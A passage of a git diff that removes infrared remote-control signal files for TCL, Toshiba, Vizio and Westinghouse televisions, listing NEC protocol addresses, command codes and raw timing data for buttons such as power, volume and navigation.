-command: 0F F0 00 00 -# -name: Vdwn -type: parsed -protocol: NECext -address: EA C7 00 00 -command: 10 EF 00 00 -# -name: Enter -type: parsed -protocol: NECext -address: EA C7 00 00 -command: 2A D5 00 00 -# -name: Up -type: parsed -protocol: NECext -address: EA C7 00 00 -command: 19 E6 00 00 -# -name: Dwn -type: parsed -protocol: NECext -address: EA C7 00 00 -command: 33 CC 00 00 -# -name: Rt -type: parsed -protocol: NECext -address: EA C7 00 00 -command: 2D D2 00 00 -# -name: Lft -type: parsed -protocol: NECext -address: EA C7 00 00 -command: 1E E1 00 00 -# -name: Home -type: parsed -protocol: NECext -address: EA C7 00 00 -command: 03 FC 00 00 -# -name: Exit -type: parsed -protocol: NECext -address: EA C7 00 00 -command: 66 99 00 00 diff --git a/assets/ir_optional_assets/optional-assets/TVs/TCL/TCL_UnknownModel1.ir b/assets/ir_optional_assets/optional-assets/TVs/TCL/TCL_UnknownModel1.ir deleted file mode 100644 index 37ca4caad..000000000 --- a/assets/ir_optional_assets/optional-assets/TVs/TCL/TCL_UnknownModel1.ir +++ /dev/null @@ -1,98 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: Power -type: raw -frequency: 38000 -duty_cycle: 0.330000 -data: 4009 3986 511 1987 517 1981 513 1985 519 1979 515 1009 493 1006 486 1986 518 1006 486 1987 517 1007 485 1987 517 1007 485 1014 488 1010 492 1007 485 1013 489 1984 510 1988 516 1008 494 1978 516 1008 494 1979 515 983 519 1979 515 8184 4015 3980 518 1980 514 1985 519 1979 515 1983 511 1013 489 1010 492 1980 514 1010 492 1980 514 1011 491 1981 513 1011 491 1007 485 1014 488 1010 492 1007 485 1987 517 1981 513 1012 490 1982 512 986 516 1983 511 1013 489 1983 511 8070 4015 3980 518 1981 513 1985 519 1979 515 1983 511 1014 488 1010 492 1980 514 1011 491 1981 513 1011 491 1981 513 1012 490 1008 494 1005 487 1011 491 1008 484 1988 516 1982 512 1012 490 1983 511 1013 489 1983 511 1014 488 1984 510 -# -name: Home -type: raw -frequency: 38000 -duty_cycle: 0.330000 -data: 4011 3984 513 1985 519 1979 515 1984 510 1988 516 1008 494 1005 487 1011 491 1008 484 1988 516 1008 494 1004 488 1011 491 1007 485 1014 488 1010 492 1007 485 1987 517 1981 513 1985 519 1979 515 983 519 1980 514 1984 510 1988 516 8183 4016 3979 518 1979 515 1984 510 1988 516 1982 512 986 516 1009 493 1005 487 1012 490 1982 512 1012 490 1008 494 1005 487 1011 491 1008 494 1004 488 1011 491 1981 513 1985 519 1979 515 1983 511 1014 488 1984 510 1988 516 1982 512 8068 4016 3978 519 1979 515 1983 511 1988 516 1981 513 985 517 1008 494 1004 488 1011 491 1981 513 985 517 1008 494 1004 488 1011 491 1007 485 1014 488 1010 492 1980 514 1984 520 1978 516 1983 511 1013 489 1983 511 1988 516 1982 512 -# -name: Apps -type: raw -frequency: 38000 -duty_cycle: 0.330000 -data: 4014 3982 515 1983 511 1987 517 1981 513 1985 519 1979 515 1984 510 1988 516 1008 494 1978 516 1982 512 987 515 1009 493 1005 487 1012 490 1008 494 1005 487 1011 491 1008 494 1004 488 1985 519 1005 487 1011 491 1982 512 1986 518 8180 4009 3986 511 1987 517 1981 513 1985 519 1979 515 1983 510 1987 517 1981 513 1012 490 1982 512 1987 517 1007 485 1013 489 1010 492 1006 486 1013 489 1009 493 1005 487 1012 490 1008 494 1979 515 1009 493 1005 487 1986 518 1980 514 -# -name: Up -type: raw -frequency: 38000 -duty_cycle: 0.330000 -data: 4011 3985 512 1986 518 1980 513 1985 519 1979 515 983 519 1980 514 1010 492 1980 514 1985 519 1005 487 1012 490 1982 511 986 516 1009 493 1005 487 1012 490 1982 511 986 516 1983 511 1014 488 1010 492 1980 514 1985 519 979 513 8186 4012 3983 514 1984 510 1988 516 1982 512 1987 517 1007 485 1988 516 1008 494 1978 516 1983 511 1013 489 1010 492 1980 514 1011 491 1007 485 1014 488 984 518 1980 513 1011 491 1982 511 1012 490 1009 493 1979 514 1984 520 1004 488 -# -name: Down -type: raw -frequency: 38000 -duty_cycle: 0.330000 -data: 4012 3983 514 1984 520 1978 516 1983 511 1987 517 1007 485 1988 516 1008 494 1978 516 1983 511 1013 489 1009 493 1006 486 1013 489 1009 493 1005 487 1012 490 1981 513 1013 489 1983 511 1014 488 1010 492 1980 514 1984 520 1978 516 8183 4015 3980 517 1980 514 1985 519 1979 515 1983 511 1014 488 1984 520 1004 488 1985 519 1979 515 1010 492 1006 486 1013 489 1009 493 1006 486 1012 490 1009 493 1978 516 1009 493 1980 514 1010 492 1007 485 1987 517 1981 513 1986 518 -# -name: Left -type: raw -frequency: 38000 -duty_cycle: 0.330000 -data: 4011 3984 513 1985 519 1979 514 1984 520 1978 515 1009 493 1979 514 1010 492 1980 513 1011 491 1981 512 1986 518 1007 485 1013 489 1010 492 1006 486 1013 489 1984 520 1004 488 1985 519 1005 487 1986 518 1006 486 1013 489 1983 510 8188 4010 3985 512 1987 517 1981 512 1985 519 1980 513 984 518 1981 512 985 517 1982 512 986 516 1983 510 1987 517 1007 485 1014 488 1011 491 1007 485 1014 488 1984 520 1005 487 1986 518 1006 486 1987 517 1007 485 1013 489 1984 520 -# -name: Right -type: raw -frequency: 38000 -duty_cycle: 0.330000 -data: 4013 3982 515 1984 520 1978 515 1983 510 1987 517 982 520 1978 515 983 519 1979 514 983 519 1980 514 1985 519 1979 514 984 518 981 511 988 514 984 518 1980 513 985 517 1981 512 986 516 1982 511 988 514 984 518 981 511 -# -name: Ok -type: raw -frequency: 38000 -duty_cycle: 0.330000 -data: 4009 3986 511 1987 517 1982 511 1986 518 1981 512 1985 519 1980 513 1984 520 1979 514 1009 493 1979 514 1011 491 1007 485 1014 488 1011 491 1007 485 1014 488 1011 491 1007 485 1014 488 1011 491 2007 486 1012 490 2008 485 1987 517 8181 4016 3979 518 1981 512 1985 519 1980 513 1984 520 1979 514 1983 510 1988 516 1982 511 1013 489 1984 520 1004 488 1011 491 1008 494 1005 487 1012 490 1008 494 1005 487 1012 490 1008 494 1005 487 1985 519 1006 486 1987 517 1981 512 -# -name: Settings -type: raw -frequency: 38000 -duty_cycle: 0.330000 -data: 4009 3986 511 1988 516 1982 511 1987 517 1982 511 1986 518 1981 512 1011 491 1008 494 1978 515 1983 510 1988 516 1982 511 1013 489 984 518 1007 485 1014 488 984 518 1007 485 1987 517 1982 511 986 516 1009 493 1006 486 1013 489 8183 4014 3981 516 1982 511 1987 517 1981 512 1986 518 1981 512 1985 519 979 513 1013 489 1983 510 1988 516 1982 511 1987 517 1007 495 1004 488 1011 491 1008 494 1004 488 1011 491 1982 511 1986 518 1007 485 1014 488 1010 492 1007 485 -# -name: Back -type: raw -frequency: 38000 -duty_cycle: 0.330000 -data: 4011 3984 512 1986 518 1980 513 1985 519 1980 513 985 517 981 511 1988 516 983 519 979 513 1986 518 1980 513 1985 519 980 512 987 515 984 518 981 510 1987 517 1982 511 987 515 1983 521 1978 515 983 519 980 511 987 515 8184 4012 3982 514 1984 520 1978 515 1983 510 1988 516 983 519 980 511 1986 518 981 510 988 514 1984 520 1979 514 1983 521 979 512 986 516 982 520 979 512 1985 519 1980 513 985 517 1981 512 1986 518 982 510 989 513 985 517 -# -name: Vol_up -type: raw -frequency: 38000 -duty_cycle: 0.330000 -data: 4009 3986 511 1988 516 1982 511 1987 517 1981 512 1012 490 1009 493 1979 514 1010 492 1981 512 1986 518 1980 513 1985 519 979 513 1012 490 1009 493 1006 486 1986 518 1981 512 985 517 1982 511 987 515 1010 492 1006 486 1013 489 8184 4013 3982 515 1983 510 1988 516 1982 511 1987 517 1007 485 1014 488 1985 519 1005 487 1986 518 1981 512 1986 518 1980 513 1011 491 1008 494 1004 488 1011 491 1982 511 1987 517 1007 485 1988 516 1009 493 1005 487 1012 490 1009 493 -# -name: Vol_down -type: raw -frequency: 38000 -duty_cycle: 0.330000 -data: 4012 3982 514 1984 519 1979 514 1984 519 1979 514 983 519 980 512 1988 516 982 520 1979 514 1984 519 1978 515 983 519 980 511 987 515 983 519 980 511 1988 516 1982 511 987 515 1983 521 978 514 985 517 981 521 1978 515 -# -name: Netflix -type: raw -frequency: 38000 -duty_cycle: 0.330000 -data: 4011 3984 512 1986 518 1981 512 1986 518 1980 513 1985 518 1979 514 1984 520 1005 487 1986 518 1980 513 1985 518 1980 513 1011 491 1008 494 1004 488 1011 491 1008 494 1005 486 1012 490 1982 511 1013 489 1010 492 1007 485 1014 488 8185 4011 3984 512 1986 517 1980 513 1985 518 1980 513 1985 518 1979 514 1984 519 1005 486 1986 517 1981 512 1985 518 1980 513 985 517 1008 494 1004 488 1011 491 1008 494 1005 486 1012 490 1982 511 1013 489 1010 492 1007 484 1014 488 8066 4015 3979 517 1981 512 1986 518 1980 513 1985 518 1980 513 1985 519 1979 514 1010 492 1981 512 1986 518 1980 513 1985 518 1006 486 1013 489 1010 492 1006 486 1013 489 1010 492 1007 485 1988 516 1008 494 1005 487 1012 490 1009 493 -# -name: Youtube -type: raw -frequency: 38000 -duty_cycle: 0.330000 -data: 4015 3980 516 1982 511 1987 517 1982 511 1987 516 1981 512 1986 517 1981 512 1012 490 982 520 979 512 1986 518 1007 485 1014 488 1011 491 1007 495 1004 487 985 517 1008 494 1005 486 1986 518 1980 513 1985 519 1006 486 1987 517 8181 4015 3980 516 1981 512 1986 518 1981 512 1986 517 1980 513 1985 519 1979 514 1010 492 1007 485 988 514 1985 519 1005 487 986 516 1009 493 979 513 1013 489 983 519 1006 486 1013 489 1984 519 1978 515 1983 520 978 513 1985 518 -# -name: Ch_up -type: raw -frequency: 38000 -duty_cycle: 0.330000 -data: 4012 3983 513 1985 518 1980 513 1985 518 1980 513 984 518 981 521 1978 515 983 519 1980 513 1984 520 979 512 1986 517 1007 484 1014 488 1011 491 1007 495 1978 515 1983 510 1014 488 1984 519 979 512 1012 490 1983 510 1014 488 8185 4011 3984 512 1986 518 1980 513 1985 518 1980 513 1011 491 1007 485 1988 516 982 520 1979 514 1984 519 1005 486 1986 517 981 510 1014 488 985 517 1007 495 1978 515 1983 510 1014 488 1985 518 1006 486 1013 489 1983 520 1004 487 -# -name: Ch_down -type: raw -frequency: 38000 -duty_cycle: 0.330000 -data: 4016 3980 516 1982 511 1987 516 1982 511 1987 516 982 520 1004 487 1986 517 980 511 1987 516 1982 511 1013 489 1010 492 1006 486 1013 489 984 518 1007 485 1988 516 1982 511 987 515 1984 519 1005 486 985 517 1982 511 1987 517 8182 4014 3981 515 1983 520 1978 515 1983 510 1988 515 982 520 979 512 1987 517 981 510 1988 516 1983 510 987 515 1010 492 981 521 978 513 985 517 981 521 1978 515 1983 520 978 514 1985 518 979 513 986 516 1983 520 1978 515 diff --git a/assets/ir_optional_assets/optional-assets/TVs/TCL/TCL_UnknownModel2.ir b/assets/ir_optional_assets/optional-assets/TVs/TCL/TCL_UnknownModel2.ir deleted file mode 100644 index 0d5818278..000000000 --- a/assets/ir_optional_assets/optional-assets/TVs/TCL/TCL_UnknownModel2.ir +++ /dev/null @@ -1,68 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: Power -type: parsed -protocol: NECext -address: EA C7 00 00 -command: 17 E8 00 00 -# -name: Vol_up -type: parsed -protocol: NECext -address: EA C7 00 00 -command: 0F F0 00 00 -# -name: Vol_down -type: parsed -protocol: NECext -address: EA C7 00 00 -command: 10 EF 00 00 -# -name: Mute -type: parsed -protocol: NECext -address: EA C7 00 00 -command: 20 DF 00 00 -# -name: Up -type: parsed -protocol: NECext -address: EA C7 00 00 -command: 19 E6 00 00 -# -name: Down -type: parsed -protocol: NECext -address: EA C7 00 00 -command: 33 CC 00 00 -# -name: Left -type: parsed -protocol: NECext -address: EA C7 00 00 -command: 1E E1 00 00 -# -name: Right -type: parsed -protocol: NECext -address: EA C7 00 00 -command: 2D D2 00 00 -# -name: Enter -type: parsed -protocol: NECext -address: EA C7 00 00 -command: 2A D5 00 00 -# -name: Home -type: parsed -protocol: NECext -address: EA C7 00 00 -command: 03 FC 00 00 -# -name: Exit -type: parsed -protocol: NECext -address: EA C7 00 00 -command: 66 99 00 00 diff --git a/assets/ir_optional_assets/optional-assets/TVs/Toshiba/Toshiba_32AV502U.ir b/assets/ir_optional_assets/optional-assets/TVs/Toshiba/Toshiba_32AV502U.ir deleted file mode 100644 index ff8915f73..000000000 --- a/assets/ir_optional_assets/optional-assets/TVs/Toshiba/Toshiba_32AV502U.ir +++ /dev/null @@ -1,38 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: Power -type: parsed -protocol: NEC -address: 40 00 00 00 -command: 12 00 00 00 -# -name: Vol_up -type: parsed -protocol: NEC -address: 40 00 00 00 -command: 1A 00 00 00 -# -name: Vol_down -type: parsed -protocol: NEC -address: 40 00 00 00 -command: 1E 00 00 00 -# -name: Mute -type: parsed -protocol: NEC -address: 40 00 00 00 -command: 10 00 00 00 -# -name: Info -type: parsed -protocol: NEC -address: 40 00 00 00 -command: 1C 00 00 00 -# -name: Input -type: parsed -protocol: NEC -address: 40 00 00 00 -command: 0F 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/TVs/Vizio/Vizio.ir b/assets/ir_optional_assets/optional-assets/TVs/Vizio/Vizio.ir deleted file mode 100644 index e9cc9df5f..000000000 --- a/assets/ir_optional_assets/optional-assets/TVs/Vizio/Vizio.ir +++ /dev/null @@ -1,104 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: Power -type: parsed -protocol: NEC -address: 04 00 00 00 -command: 08 00 00 00 -# -name: Input -type: parsed -protocol: NEC -address: 04 00 00 00 -command: 2F 00 00 00 -# -name: Vol_up -type: parsed -protocol: NEC -address: 04 00 00 00 -command: 02 00 00 00 -# -name: Vol_down -type: parsed -protocol: NEC -address: 04 00 00 00 -command: 03 00 00 00 -# -name: Ch_up -type: parsed -protocol: NEC -address: 04 00 00 00 -command: 00 00 00 00 -# -name: Ch_down -type: parsed -protocol: NEC -address: 04 00 00 00 -command: 01 00 00 00 -# -name: Mute -type: parsed -protocol: NEC -address: 04 00 00 00 -command: 09 00 00 00 -# -name: Up -type: parsed -protocol: NEC -address: 04 00 00 00 -command: 45 00 00 00 -# -name: Down -type: parsed -protocol: NEC -address: 04 00 00 00 -command: 46 00 00 00 -# -name: Right -type: parsed -protocol: NEC -address: 04 00 00 00 -command: 48 00 00 00 -# -name: Left -type: parsed -protocol: NEC -address: 04 00 00 00 -command: 47 00 00 00 -# -name: Home -type: parsed -protocol: NEC -address: 04 00 00 00 -command: 2D 00 00 00 -# -name: Back -type: parsed -protocol: NEC -address: 04 00 00 00 -command: 4A 00 00 00 -# -name: Menu -type: parsed -protocol: NEC -address: 04 00 00 00 -command: 4F 00 00 00 -# -name: Previous -type: parsed -protocol: NEC -address: 04 00 00 00 -command: 1A 00 00 00 -# -name: Info -type: parsed -protocol: NEC -address: 04 00 00 00 -command: 1B 00 00 00 -# -name: Enter -type: parsed -protocol: NEC -address: 04 00 00 00 -command: 44 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/TVs/Westinghouse/Westinghouse.ir b/assets/ir_optional_assets/optional-assets/TVs/Westinghouse/Westinghouse.ir deleted file mode 100644 index 6f254ef8a..000000000 --- a/assets/ir_optional_assets/optional-assets/TVs/Westinghouse/Westinghouse.ir +++ /dev/null @@ -1,92 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: Power -type: parsed -protocol: NECext -address: 02 7D 00 00 -command: 46 B9 00 00 -# -name: V_up -type: parsed -protocol: NECext -address: 02 7D 00 00 -command: 0C F3 00 00 -# -name: V_dwn -type: parsed -protocol: NECext -address: 02 7D 00 00 -command: 19 E6 00 00 -# -name: Up -type: parsed -protocol: NECext -address: 02 7D 00 00 -command: 48 B7 00 00 -# -name: Dwn -type: parsed -protocol: NECext -address: 02 7D 00 00 -command: 4D B2 00 00 -# -name: Rt -type: parsed -protocol: NECext -address: 02 7D 00 00 -command: 49 B6 00 00 -# -name: Lft -type: parsed -protocol: NECext -address: 02 7D 00 00 -command: 4E B1 00 00 -# -name: Enter -type: parsed -protocol: NECext -address: 02 7D 00 00 -command: 4A B5 00 00 -# -name: Exit -type: parsed -protocol: NECext -address: 02 7D 00 00 -command: 0D F2 00 00 -# -name: Mute -type: parsed -protocol: NECext -address: 02 7D 00 00 -command: 4C B3 00 00 -# -name: Source -type: parsed -protocol: NECext -address: 02 7D 00 00 -command: 4B B4 00 00 -# -name: Menu -type: parsed -protocol: NECext -address: 02 7D 00 00 -command: 45 BA 00 00 -# -name: Ch_up -type: parsed -protocol: NECext -address: 02 7D 00 00 -command: 0F F0 00 00 -# -name: Ch_dwn -type: parsed -protocol: NECext -address: 02 7D 00 00 -command: 5A A5 00 00 -# -name: Return -type: parsed -protocol: NECext -address: 02 7D 00 00 -command: 16 E9 00 00 diff --git a/assets/ir_optional_assets/optional-assets/Tcl.ir b/assets/ir_optional_assets/optional-assets/Tcl.ir deleted file mode 100644 index 37ca4caad..000000000 --- a/assets/ir_optional_assets/optional-assets/Tcl.ir +++ /dev/null @@ -1,98 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: Power -type: raw -frequency: 38000 -duty_cycle: 0.330000 -data: 4009 3986 511 1987 517 1981 513 1985 519 1979 515 1009 493 1006 486 1986 518 1006 486 1987 517 1007 485 1987 517 1007 485 1014 488 1010 492 1007 485 1013 489 1984 510 1988 516 1008 494 1978 516 1008 494 1979 515 983 519 1979 515 8184 4015 3980 518 1980 514 1985 519 1979 515 1983 511 1013 489 1010 492 1980 514 1010 492 1980 514 1011 491 1981 513 1011 491 1007 485 1014 488 1010 492 1007 485 1987 517 1981 513 1012 490 1982 512 986 516 1983 511 1013 489 1983 511 8070 4015 3980 518 1981 513 1985 519 1979 515 1983 511 1014 488 1010 492 1980 514 1011 491 1981 513 1011 491 1981 513 1012 490 1008 494 1005 487 1011 491 1008 484 1988 516 1982 512 1012 490 1983 511 1013 489 1983 511 1014 488 1984 510 -# -name: Home -type: raw -frequency: 38000 -duty_cycle: 0.330000 -data: 4011 3984 513 1985 519 1979 515 1984 510 1988 516 1008 494 1005 487 1011 491 1008 484 1988 516 1008 494 1004 488 1011 491 1007 485 1014 488 1010 492 1007 485 1987 517 1981 513 1985 519 1979 515 983 519 1980 514 1984 510 1988 516 8183 4016 3979 518 1979 515 1984 510 1988 516 1982 512 986 516 1009 493 1005 487 1012 490 1982 512 1012 490 1008 494 1005 487 1011 491 1008 494 1004 488 1011 491 1981 513 1985 519 1979 515 1983 511 1014 488 1984 510 1988 516 1982 512 8068 4016 3978 519 1979 515 1983 511 1988 516 1981 513 985 517 1008 494 1004 488 1011 491 1981 513 985 517 1008 494 1004 488 1011 491 1007 485 1014 488 1010 492 1980 514 1984 520 1978 516 1983 511 1013 489 1983 511 1988 516 1982 512 -# -name: Apps -type: raw -frequency: 38000 -duty_cycle: 0.330000 -data: 4014 3982 515 1983 511 1987 517 1981 513 1985 519 1979 515 1984 510 1988 516 1008 494 1978 516 1982 512 987 515 1009 493 1005 487 1012 490 1008 494 1005 487 1011 491 1008 494 1004 488 1985 519 1005 487 1011 491 1982 512 1986 518 8180 4009 3986 511 1987 517 1981 513 1985 519 1979 515 1983 510 1987 517 1981 513 1012 490 1982 512 1987 517 1007 485 1013 489 1010 492 1006 486 1013 489 1009 493 1005 487 1012 490 1008 494 1979 515 1009 493 1005 487 1986 518 1980 514 -# -name: Up -type: raw -frequency: 38000 -duty_cycle: 0.330000 -data: 4011 3985 512 1986 518 1980 513 1985 519 1979 515 983 519 1980 514 1010 492 1980 514 1985 519 1005 487 1012 490 1982 511 986 516 1009 493 1005 487 1012 490 1982 511 986 516 1983 511 1014 488 1010 492 1980 514 1985 519 979 513 8186 4012 3983 514 1984 510 1988 516 1982 512 1987 517 1007 485 1988 516 1008 494 1978 516 1983 511 1013 489 1010 492 1980 514 1011 491 1007 485 1014 488 984 518 1980 513 1011 491 1982 511 1012 490 1009 493 1979 514 1984 520 1004 488 -# -name: Down -type: raw -frequency: 38000 -duty_cycle: 0.330000 -data: 4012 3983 514 1984 520 1978 516 1983 511 1987 517 1007 485 1988 516 1008 494 1978 516 1983 511 1013 489 1009 493 1006 486 1013 489 1009 493 1005 487 1012 490 1981 513 1013 489 1983 511 1014 488 1010 492 1980 514 1984 520 1978 516 8183 4015 3980 517 1980 514 1985 519 1979 515 1983 511 1014 488 1984 520 1004 488 1985 519 1979 515 1010 492 1006 486 1013 489 1009 493 1006 486 1012 490 1009 493 1978 516 1009 493 1980 514 1010 492 1007 485 1987 517 1981 513 1986 518 -# -name: Left -type: raw -frequency: 38000 -duty_cycle: 0.330000 -data: 4011 3984 513 1985 519 1979 514 1984 520 1978 515 1009 493 1979 514 1010 492 1980 513 1011 491 1981 512 1986 518 1007 485 1013 489 1010 492 1006 486 1013 489 1984 520 1004 488 1985 519 1005 487 1986 518 1006 486 1013 489 1983 510 8188 4010 3985 512 1987 517 1981 512 1985 519 1980 513 984 518 1981 512 985 517 1982 512 986 516 1983 510 1987 517 1007 485 1014 488 1011 491 1007 485 1014 488 1984 520 1005 487 1986 518 1006 486 1987 517 1007 485 1013 489 1984 520 -# -name: Right -type: raw -frequency: 38000 -duty_cycle: 0.330000 -data: 4013 3982 515 1984 520 1978 515 1983 510 1987 517 982 520 1978 515 983 519 1979 514 983 519 1980 514 1985 519 1979 514 984 518 981 511 988 514 984 518 1980 513 985 517 1981 512 986 516 1982 511 988 514 984 518 981 511 -# -name: Ok -type: raw -frequency: 38000 -duty_cycle: 0.330000 -data: 4009 3986 511 1987 517 1982 511 1986 518 1981 512 1985 519 1980 513 1984 520 1979 514 1009 493 1979 514 1011 491 1007 485 1014 488 1011 491 1007 485 1014 488 1011 491 1007 485 1014 488 1011 491 2007 486 1012 490 2008 485 1987 517 8181 4016 3979 518 1981 512 1985 519 1980 513 1984 520 1979 514 1983 510 1988 516 1982 511 1013 489 1984 520 1004 488 1011 491 1008 494 1005 487 1012 490 1008 494 1005 487 1012 490 1008 494 1005 487 1985 519 1006 486 1987 517 1981 512 -# -name: Settings -type: raw -frequency: 38000 -duty_cycle: 0.330000 -data: 4009 3986 511 1988 516 1982 511 1987 517 1982 511 1986 518 1981 512 1011 491 1008 494 1978 515 1983 510 1988 516 1982 511 1013 489 984 518 1007 485 1014 488 984 518 1007 485 1987 517 1982 511 986 516 1009 493 1006 486 1013 489 8183 4014 3981 516 1982 511 1987 517 1981 512 1986 518 1981 512 1985 519 979 513 1013 489 1983 510 1988 516 1982 511 1987 517 1007 495 1004 488 1011 491 1008 494 1004 488 1011 491 1982 511 1986 518 1007 485 1014 488 1010 492 1007 485 -# -name: Back -type: raw -frequency: 38000 -duty_cycle: 0.330000 -data: 4011 3984 512 1986 518 1980 513 1985 519 1980 513 985 517 981 511 1988 516 983 519 979 513 1986 518 1980 513 1985 519 980 512 987 515 984 518 981 510 1987 517 1982 511 987 515 1983 521 1978 515 983 519 980 511 987 515 8184 4012 3982 514 1984 520 1978 515 1983 510 1988 516 983 519 980 511 1986 518 981 510 988 514 1984 520 1979 514 1983 521 979 512 986 516 982 520 979 512 1985 519 1980 513 985 517 1981 512 1986 518 982 510 989 513 985 517 -# -name: Vol_up -type: raw -frequency: 38000 -duty_cycle: 0.330000 -data: 4009 3986 511 1988 516 1982 511 1987 517 1981 512 1012 490 1009 493 1979 514 1010 492 1981 512 1986 518 1980 513 1985 519 979 513 1012 490 1009 493 1006 486 1986 518 1981 512 985 517 1982 511 987 515 1010 492 1006 486 1013 489 8184 4013 3982 515 1983 510 1988 516 1982 511 1987 517 1007 485 1014 488 1985 519 1005 487 1986 518 1981 512 1986 518 1980 513 1011 491 1008 494 1004 488 1011 491 1982 511 1987 517 1007 485 1988 516 1009 493 1005 487 1012 490 1009 493 -# -name: Vol_down -type: raw -frequency: 38000 -duty_cycle: 0.330000 -data: 4012 3982 514 1984 519 1979 514 1984 519 1979 514 983 519 980 512 1988 516 982 520 1979 514 1984 519 1978 515 983 519 980 511 987 515 983 519 980 511 1988 516 1982 511 987 515 1983 521 978 514 985 517 981 521 1978 515 -# -name: Netflix -type: raw -frequency: 38000 -duty_cycle: 0.330000 -data: 4011 3984 512 1986 518 1981 512 1986 518 1980 513 1985 518 1979 514 1984 520 1005 487 1986 518 1980 513 1985 518 1980 513 1011 491 1008 494 1004 488 1011 491 1008 494 1005 486 1012 490 1982 511 1013 489 1010 492 1007 485 1014 488 8185 4011 3984 512 1986 517 1980 513 1985 518 1980 513 1985 518 1979 514 1984 519 1005 486 1986 517 1981 512 1985 518 1980 513 985 517 1008 494 1004 488 1011 491 1008 494 1005 486 1012 490 1982 511 1013 489 1010 492 1007 484 1014 488 8066 4015 3979 517 1981 512 1986 518 1980 513 1985 518 1980 513 1985 519 1979 514 1010 492 1981 512 1986 518 1980 513 1985 518 1006 486 1013 489 1010 492 1006 486 1013 489 1010 492 1007 485 1988 516 1008 494 1005 487 1012 490 1009 493 -# -name: Youtube -type: raw -frequency: 38000 -duty_cycle: 0.330000 -data: 4015 3980 516 1982 511 1987 517 1982 511 1987 516 1981 512 1986 517 1981 512 1012 490 982 520 979 512 1986 518 1007 485 1014 488 1011 491 1007 495 1004 487 985 517 1008 494 1005 486 1986 518 1980 513 1985 519 1006 486 1987 517 8181 4015 3980 516 1981 512 1986 518 1981 512 1986 517 1980 513 1985 519 1979 514 1010 492 1007 485 988 514 1985 519 1005 487 986 516 1009 493 979 513 1013 489 983 519 1006 486 1013 489 1984 519 1978 515 1983 520 978 513 1985 518 -# -name: Ch_up -type: raw -frequency: 38000 -duty_cycle: 0.330000 -data: 4012 3983 513 1985 518 1980 513 1985 518 1980 513 984 518 981 521 1978 515 983 519 1980 513 1984 520 979 512 1986 517 1007 484 1014 488 1011 491 1007 495 1978 515 1983 510 1014 488 1984 519 979 512 1012 490 1983 510 1014 488 8185 4011 3984 512 1986 518 1980 513 1985 518 1980 513 1011 491 1007 485 1988 516 982 520 1979 514 1984 519 1005 486 1986 517 981 510 1014 488 985 517 1007 495 1978 515 1983 510 1014 488 1985 518 1006 486 1013 489 1983 520 1004 487 -# -name: Ch_down -type: raw -frequency: 38000 -duty_cycle: 0.330000 -data: 4016 3980 516 1982 511 1987 516 1982 511 1987 516 982 520 1004 487 1986 517 980 511 1987 516 1982 511 1013 489 1010 492 1006 486 1013 489 984 518 1007 485 1988 516 1982 511 987 515 1984 519 1005 486 985 517 1982 511 1987 517 8182 4014 3981 515 1983 520 1978 515 1983 510 1988 515 982 520 979 512 1987 517 981 510 1988 516 1983 510 987 515 1010 492 981 521 978 513 985 517 981 521 1978 515 1983 520 978 514 1985 518 979 513 986 516 1983 520 1978 515 diff --git a/assets/ir_optional_assets/optional-assets/Tcl_32s327.ir b/assets/ir_optional_assets/optional-assets/Tcl_32s327.ir deleted file mode 100644 index 8f5a67e63..000000000 --- a/assets/ir_optional_assets/optional-assets/Tcl_32s327.ir +++ /dev/null @@ -1,62 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: Power -type: parsed -protocol: NECext -address: EA C7 00 00 -command: 17 E8 00 00 -# -name: Vup -type: parsed -protocol: NECext -address: EA C7 00 00 -command: 0F F0 00 00 -# -name: Vdwn -type: parsed -protocol: NECext -address: EA C7 00 00 -command: 10 EF 00 00 -# -name: Enter -type: parsed -protocol: NECext -address: EA C7 00 00 -command: 2A D5 00 00 -# -name: Up -type: parsed -protocol: NECext -address: EA C7 00 00 -command: 19 E6 00 00 -# -name: Dwn -type: parsed -protocol: NECext -address: EA C7 00 00 -command: 33 CC 00 00 -# -name: Rt -type: parsed -protocol: NECext -address: EA C7 00 00 -command: 2D D2 00 00 -# -name: Lft -type: parsed -protocol: NECext -address: EA C7 00 00 -command: 1E E1 00 00 -# -name: Home -type: parsed -protocol: NECext -address: EA C7 00 00 -command: 03 FC 00 00 -# -name: Exit -type: parsed -protocol: NECext -address: EA C7 00 00 -command: 66 99 00 00 diff --git a/assets/ir_optional_assets/optional-assets/Tcl_tv.ir b/assets/ir_optional_assets/optional-assets/Tcl_tv.ir deleted file mode 100644 index 068867c36..000000000 --- a/assets/ir_optional_assets/optional-assets/Tcl_tv.ir +++ /dev/null @@ -1,50 +0,0 @@ -Version: 1 -# -name: Power -type: parsed -protocol: NECext -address: EA C7 00 00 -command: 17 E8 00 00 -# -name: Home -type: parsed -protocol: NECext -address: EA C7 00 00 -command: 03 FC 00 00 -# -name: Left -type: parsed -protocol: NECext -address: EA C7 00 00 -command: 1E E1 00 00 -# -name: Select -type: parsed -protocol: NECext -address: EA C7 00 00 -command: 2A D5 00 00 -# -name: Right -type: parsed -protocol: NECext -address: EA C7 00 00 -command: 2D D2 00 00 -# -name: Mute -type: parsed -protocol: NECext -address: EA C7 00 00 -command: 20 DF 00 00 -# -name: Vol_up -type: parsed -protocol: NECext -address: EA C7 00 00 -command: 0F F0 00 00 -# -name: Vol_down -type: parsed -protocol: NECext -address: EA C7 00 00 -command: 10 EF 00 00 - diff --git a/assets/ir_optional_assets/optional-assets/Vizio.ir b/assets/ir_optional_assets/optional-assets/Vizio.ir deleted file mode 100644 index e9cc9df5f..000000000 --- a/assets/ir_optional_assets/optional-assets/Vizio.ir +++ /dev/null @@ -1,104 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: Power -type: parsed -protocol: NEC -address: 04 00 00 00 -command: 08 00 00 00 -# -name: Input -type: parsed -protocol: NEC -address: 04 00 00 00 -command: 2F 00 00 00 -# -name: Vol_up -type: parsed -protocol: NEC -address: 04 00 00 00 -command: 02 00 00 00 -# -name: Vol_down -type: parsed -protocol: NEC -address: 04 00 00 00 -command: 03 00 00 00 -# -name: Ch_up -type: parsed -protocol: NEC -address: 04 00 00 00 -command: 00 00 00 00 -# -name: 